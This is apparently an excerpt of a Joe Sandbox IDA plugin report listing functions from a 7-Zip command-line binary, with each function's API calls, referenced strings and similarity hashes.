Executed
Not Executed

APIs

fputs.MSVCRT ref: 00063ED4

Part of subcall function 00062E24: fputs.MSVCRT ref: 00062E47
Part of subcall function 00062E24: fputs.MSVCRT ref: 00062E57

fputs.MSVCRT ref: 00063F0F

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

free.MSVCRT ref: 00063F4C
fputs.MSVCRT ref: 00063FAA
fputs.MSVCRT ref: 00063FBA
fputs.MSVCRT ref: 00064003
fputs.MSVCRT ref: 00064013
SysFreeString.OLEAUT32 ref: 000640A1
fputs.MSVCRT ref: 000640C9
SysFreeString.OLEAUT32 ref: 0006418B
SysFreeString.OLEAUT32 ref: 000641C2

Strings

Warning: The archive is open with offset, xrefs: 00063F08
----, xrefs: 000640C2
= , xrefs: 00063FB3, 0006400C
--, xrefs: 00063ECD
Path, xrefs: 00063EE4
Type, xrefs: 00063F76

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs$FreeString$fputcfree
String ID: = $--$----$Path$Type$Warning: The archive is open with offset
API String ID: 2701146716-1919703766
Opcode ID: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction ID: 189fbad941bf7c5397171436d41b6922e47afa2695dd0a54cab8ab8f91809ed5
Opcode Fuzzy Hash: 0d94f0344947542c072f3f7d1a6acdb2a7a7600c81a17a110e60a59a3ca316a5
Instruction Fuzzy Hash: E2919936614A8692DB50EF22E8547AEB372F795BC4F006122EE5E47B28DF38C959C700

Function 0002F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00021610: free.MSVCRT ref: 00021682
Part of subcall function 00021610: free.MSVCRT ref: 0002168A
Part of subcall function 00021610: free.MSVCRT ref: 000216C4

_CxxThrowException.MSVCRT ref: 0002F76E
_isatty.MSVCRT ref: 0002F77E
_isatty.MSVCRT ref: 0002F796
_isatty.MSVCRT ref: 0002F7AE
_CxxThrowException.MSVCRT ref: 0002F8E0
wcscmp.MSVCRT ref: 0002F96F
_CxxThrowException.MSVCRT ref: 0002F9AE
_CxxThrowException.MSVCRT ref: 0002FA6F
GetCurrentProcess.KERNEL32 ref: 0002FA77
SetProcessAffinityMask.KERNEL32 ref: 0002FA83
free.MSVCRT ref: 0002FA8F

Strings

SeLockMemoryPrivilege, xrefs: 0002F9CB
Unsupported switch postfix for -slp, xrefs: 0002F991
Unsupported switch postfix -bb, xrefs: 0002F8C3
SeCreateSymbolicLinkPrivilege, xrefs: 0002F92A
Unsupported switch postfix -stm, xrefs: 0002FA52
SeRestorePrivilege, xrefs: 0002F91C

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction ID: bc80658d4800a1168f59e66c1dddd990dbdd972f1e9c59580f3cf76dcc93ec89
Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction Fuzzy Hash: 61A19D73608AC59AEB61DF24E4903AC7B71F786B84F988176DB8C47726CF68C995C700

Function 0006A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 0006A477

Part of subcall function 000226A0: fputs.MSVCRT ref: 000226C1

fputs.MSVCRT ref: 0006A4C1
free.MSVCRT ref: 0006A52B
free.MSVCRT ref: 0006A533
free.MSVCRT ref: 0006A545
free.MSVCRT ref: 0006A57A
free.MSVCRT ref: 0006A582
free.MSVCRT ref: 0006A594
_CxxThrowException.MSVCRT ref: 0006A5E1
free.MSVCRT ref: 0006A5EF
free.MSVCRT ref: 0006A61C
free.MSVCRT ref: 0006A62E

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

Strings

Warnings: , xrefs: 0006A470
Errors: , xrefs: 0006A4BA

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction ID: 6d5b60b5a9d1bd935db324a8d626b1e8f6849ec07f23f290209c6e7cc4778c34
Opcode Fuzzy Hash: 40a164d8ef110d7c6f53597072ad901ddf4be2da223ed109514b88298d34997d
Instruction Fuzzy Hash: 0051B9623149D091C970FB25F9907ED63A2F7C27D0F444122DA9E27B5ADF3CC5968B01

Function 000483C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00028624: free.MSVCRT ref: 000286A9

free.MSVCRT ref: 00048493
free.MSVCRT ref: 000484A7
free.MSVCRT ref: 000484B8
free.MSVCRT ref: 00048503
free.MSVCRT ref: 0004850E

Part of subcall function 000286DC: free.MSVCRT ref: 00028761

free.MSVCRT ref: 0004854D
free.MSVCRT ref: 00048558
free.MSVCRT ref: 00048590
free.MSVCRT ref: 0004859B

Part of subcall function 00048290: free.MSVCRT ref: 0004832B
Part of subcall function 00048290: free.MSVCRT ref: 00048336

free.MSVCRT ref: 000485D0
free.MSVCRT ref: 000485DB
free.MSVCRT ref: 000485EA
free.MSVCRT ref: 00048602

Part of subcall function 00023314: memmove.MSVCRT ref: 00023339

Strings

Codecs, xrefs: 0004841F
Formats, xrefs: 0004844E
Path, xrefs: 0004856A, 000485AA
7z.dll, xrefs: 000483F0
Path64, xrefs: 000484D6, 00048520

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: 1b94245781d3f736896ff6bfcaa19f343b194746c2999806cd6093cd76880b31
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: D451B3A2208A5190CA60EF15F4517EE6760D7C27E4F845122BE5E077BBCF3CC68AC704

Function 0004AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0004ABC9
free.MSVCRT ref: 0004ACF3
free.MSVCRT ref: 0004ACFE
free.MSVCRT ref: 0004AD95
memmove.MSVCRT(?), ref: 0004ADCB
free.MSVCRT ref: 0004AE70
free.MSVCRT ref: 0004AF7F

Part of subcall function 000494A8: free.MSVCRT ref: 000494DB
Part of subcall function 000494A8: free.MSVCRT ref: 000494E3
Part of subcall function 000494A8: free.MSVCRT ref: 000494F0
Part of subcall function 000494A8: free.MSVCRT ref: 0004951C
Part of subcall function 000494A8: free.MSVCRT ref: 00049525
Part of subcall function 000494A8: free.MSVCRT ref: 0004952D
Part of subcall function 000494A8: free.MSVCRT ref: 0004953A

free.MSVCRT ref: 0004AEC2

Part of subcall function 0002339C: free.MSVCRT ref: 000233D7
Part of subcall function 0002339C: memmove.MSVCRT(00000000,?,?,00000000,000210A8), ref: 000233F2

Part of subcall function 0004A9FC: free.MSVCRT ref: 0004AA95
Part of subcall function 0004A9FC: free.MSVCRT ref: 0004AAC5
Part of subcall function 0004A9FC: free.MSVCRT ref: 0004AAD2

free.MSVCRT ref: 0004AEFA
GetProcAddress.KERNEL32 ref: 0004AF4D

Strings

SetCodecs, xrefs: 0004AF43
Codecs\, xrefs: 0004AE99
7z.dll, xrefs: 0004AE3C, 0004AE89
Formats\, xrefs: 0004AED1

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction ID: 81975bd7ebf89e1d44a582a999d3c97e87ecc6b22a5ab26af613b51723032d98
Opcode Fuzzy Hash: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction Fuzzy Hash: 8BB1A3A6344A9096CB70EB61F4403AFB760F386798F504121EB8E47B26DF7CC969C705

Function 00061850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00061877
fputs.MSVCRT ref: 0006190A
LeaveCriticalSection.KERNEL32 ref: 00061A44

Part of subcall function 0006B1C8: memset.MSVCRT ref: 0006B20D
Part of subcall function 0006B1C8: fputs.MSVCRT ref: 0006B232

fputs.MSVCRT ref: 0006194D

Part of subcall function 000226A0: fputs.MSVCRT ref: 000226C1

fputs.MSVCRT ref: 000619CB
fputs.MSVCRT ref: 000619EA
LeaveCriticalSection.KERNEL32 ref: 00061A51

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

free.MSVCRT ref: 00061A14

Strings

ERROR: , xrefs: 000619C4
Can't allocate required memory!, xrefs: 000619E3
Everything is Ok, xrefs: 00061903
Sub items Errors: , xrefs: 00061946
p, xrefs: 000619A4

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction ID: 90af2ce6da931c502d732083dee8e464b7866a3a02f480df1c24239d36360518
Opcode Fuzzy Hash: 00b0e537d4ffefddec52b66757bd7e4d904c0f2f8dd17a6a25b95f70ab0f44f6
Instruction Fuzzy Hash: 8351A172305A81E2EB6DDF65E9903EC6361F784B90F485222DB2E47351CF78D9A8C310

Function 000438E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0004373C: free.MSVCRT ref: 000437FB

memmove.MSVCRT ref: 0004396F
free.MSVCRT ref: 00043986
free.MSVCRT ref: 00043A11
_CxxThrowException.MSVCRT ref: 00043A5F
free.MSVCRT ref: 00043AD3

Part of subcall function 00043864: free.MSVCRT ref: 00043877
Part of subcall function 00043864: free.MSVCRT ref: 00043892
Part of subcall function 00043864: free.MSVCRT ref: 0004389B
Part of subcall function 00043864: free.MSVCRT ref: 000438C6
Part of subcall function 00043864: free.MSVCRT ref: 000438CE

Strings

Duplicate archive path:, xrefs: 00043C07
Cannot find archive, xrefs: 00043A42

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction ID: 97ff06bb1aacc692775f4859079f662d46b8b7af21bfabe675be098e130b3cfe
Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction Fuzzy Hash: 4EA195B2715B8492CA20EB15E89069EB3A1F7C5BD0F405522EF8E07B69DF3CCA55CB44

Function 000542A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00054324
free.MSVCRT ref: 0005441A
free.MSVCRT ref: 00054425

Strings

, xrefs: 00054466

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction ID: 1ee0f179279ba56fd90458ba9d421ca0cd766be8534d12fac9e0b81a36020337
Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction Fuzzy Hash: DCD14C77209AC496CB65DB65E0902EFBB60F7D6B85F445016DB8E43B2ACF78C598CB00

Function 000491E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00049205
GetProcAddress.KERNEL32 ref: 00049219
GetProcAddress.KERNEL32 ref: 0004922D
GetProcAddress.KERNEL32 ref: 00049257
memmove.MSVCRT ref: 000492F0
GetProcAddress.KERNEL32 ref: 0004931C

Strings

CreateEncoder, xrefs: 0004920E
CreateDecoder, xrefs: 000491FB
GetMethodProperty, xrefs: 00049222
GetNumberOfMethods, xrefs: 00049245
GetHashers, xrefs: 00049315

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 51a29f19689dbe4010949fdf5b47b5d9a57093ad5a6cf371ac7f7af3d0aea25c
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: C0418BB2605A4286DB30DF65F8803AEB3A1F785784F405536EB8E83764DF78C945CB04

Function 00061BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00061CF9

Part of subcall function 0006B1C8: memset.MSVCRT ref: 0006B20D
Part of subcall function 0006B1C8: fputs.MSVCRT ref: 0006B232

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

fputs.MSVCRT ref: 00061DEE
fputs.MSVCRT ref: 00061F07
fputs.MSVCRT ref: 00061F5C

Part of subcall function 0006171C: fputs.MSVCRT ref: 00061744
Part of subcall function 0006171C: fputs.MSVCRT ref: 00061758
Part of subcall function 0006171C: free.MSVCRT ref: 0006176B

Part of subcall function 00026618: FormatMessageW.KERNEL32 ref: 00026676
Part of subcall function 00026618: LocalFree.KERNEL32 ref: 00026698

Part of subcall function 00022320: free.MSVCRT ref: 0002237E
Part of subcall function 00022320: fputs.MSVCRT ref: 000223B8
Part of subcall function 00022320: free.MSVCRT ref: 000223C4

free.MSVCRT ref: 00061F86

Strings

Can't allocate required memory, xrefs: 00061F55
ERROR: , xrefs: 00061F00
WARNINGS:, xrefs: 00061DB4, 00061DE7
ERRORS:, xrefs: 00061CBF, 00061CF2

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction ID: d4063db8979a18e9b1267d7ab2c2d9ad43438cbb5885eda126e249c29bf7be97
Opcode Fuzzy Hash: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction Fuzzy Hash: BCA18B76704AC4EACA69EF72E5903EE7362F744B80F484126DB5E07612DF78E9A4C300

Function 0006949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 000694EE
_CxxThrowException.MSVCRT ref: 0006A5E1
free.MSVCRT ref: 0006A5EF
free.MSVCRT ref: 0006A61C
free.MSVCRT ref: 0006A62E
free.MSVCRT ref: 0006A696
free.MSVCRT ref: 0006A69E
free.MSVCRT ref: 0006A6B0

Strings

Decoding ERROR, xrefs: 000694E7

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 61a8a3598692d83df17d4932217a354b7e9b9241ab3941d983a74ef0222d2108
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: 3D31E6623159C091DA30FB25F8807EE63A2F7C2790F445522DB8E67B6ADF78C895CB01

Function 0004A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00026464: FreeLibrary.KERNELBASE(?,?,?,000264E7), ref: 00026475

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

GetProcAddress.KERNEL32 ref: 0004A8CA
GetProcAddress.KERNEL32 ref: 0004A8E8
GetProcAddress.KERNEL32 ref: 0004A908
free.MSVCRT ref: 0004A985
free.MSVCRT ref: 0004A996

Strings

CreateObject, xrefs: 0004A8FD
SetLargePageMode, xrefs: 0004A8BF
SetCaseSensitive, xrefs: 0004A8DD

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: b191c1a1e70b4a77f25b909b54e7c94eeafc8c45fd31cc0f32040c380eabb759
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: 0041C376340B4196DB61EF26E85079E7360FB86B94F488524DF8A47766DF38D845C304

Function 0006B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0006B723
fputs.MSVCRT ref: 0006B743

Part of subcall function 000238C8: memmove.MSVCRT(0002A0E5), ref: 00023907

Part of subcall function 00023A64: memmove.MSVCRT ref: 00023AAA

GetTickCount.KERNEL32 ref: 0006B49E

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

strcmp.MSVCRT ref: 0006B4E3
wcscmp.MSVCRT ref: 0006B502
strcmp.MSVCRT ref: 0006B568

Strings

. , xrefs: 0006B6AC

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: 1f1528dc22054ea566d544ee253423379e86e589933abefc6d3f40918294ff9e
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: 39A17EB7704A95E7CB69DF2AE69029D73A2F344784F808016DB5A87B11DF34E8B6C700

Function 00049D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00049BCC: free.MSVCRT ref: 00049C11
Part of subcall function 00049BCC: free.MSVCRT ref: 00049C19
Part of subcall function 00049BCC: free.MSVCRT ref: 00049C3B

Part of subcall function 00049BCC: free.MSVCRT ref: 00049D2A

wcscmp.MSVCRT ref: 00049E66
free.MSVCRT ref: 00049ECA
free.MSVCRT ref: 00049ED4
free.MSVCRT ref: 00049F13
free.MSVCRT ref: 00049F1B
free.MSVCRT ref: 00049F28
free.MSVCRT ref: 00049F49
free.MSVCRT ref: 00049F51

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction ID: 43e36390a730d71159911c8cf95291e1d0409eff6ab0442d69d82d065d0b68d5
Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction Fuzzy Hash: 86411762304A50A1CA10FF12F8405AFA761F781BE8F841135EF6D4776ADF39C96AC300

Function 00062ECC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00062F7E
fputs.MSVCRT ref: 00062F9D
free.MSVCRT ref: 00062FB6
free.MSVCRT ref: 00062FC1

Part of subcall function 00022C78: free.MSVCRT ref: 00022CAE

Part of subcall function 00022320: free.MSVCRT ref: 0002237E
Part of subcall function 00022320: fputs.MSVCRT ref: 000223B8
Part of subcall function 00022320: free.MSVCRT ref: 000223C4

free.MSVCRT ref: 00062FCC

Strings

= , xrefs: 00062F96

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
